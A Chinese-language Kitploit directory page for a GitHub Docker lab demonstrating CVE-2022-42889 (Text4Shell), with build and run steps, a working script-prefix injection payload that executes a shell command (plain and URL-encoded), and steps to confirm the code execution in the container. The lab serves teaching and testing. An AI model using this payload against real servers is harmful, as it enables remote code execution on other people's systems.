Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2022-42889-text4shell — 基于 Docker 的实验室环境,用于演示和测试 Apache Commons Text 中的 CVE-2022-42889(Text4Shell)远程代码执行漏洞。 | Kitploit
工具/GitHubGitHub/dima2021/cve-2022-42889-text4shell
容器安全漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubdima2021/cve-2022-42889-text4shell

cve-2022-42889-text4shell

基于 Docker 的实验室环境,用于演示和测试 Apache Commons Text 中的 CVE-2022-42889(Text4Shell)远程代码执行漏洞。

查看仓库
3年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

安装 Maven - maven-linux


  1. 安装Maven以创建胖JAR包
root@kitploit:~
mvn clean install
  1. Docker构建
root@kitploit:~
docker build --tag=text4shell .
  1. Docker运行
root@kitploit:~
docker run -p 80:8080 text4shell
  1. 测试应用
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. 可以通过传递字符串“${prefix:name}”进行攻击,其中前缀是上述查询:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. 你也可以尝试使用dns或url前缀。

  2. 获取容器ID

root@kitploit:~
docker container ls
  1. 进入应用
root@kitploit:~
docker exec -it <container_id> bash
  1. 检查上述RCE是否成功(你应该会在/tmp目录下看到一个名为foo的文件):
root@kitploit:~
ls /tmp/
  1. 停止容器
root@kitploit:~
docker container stop <container_id>
下载工具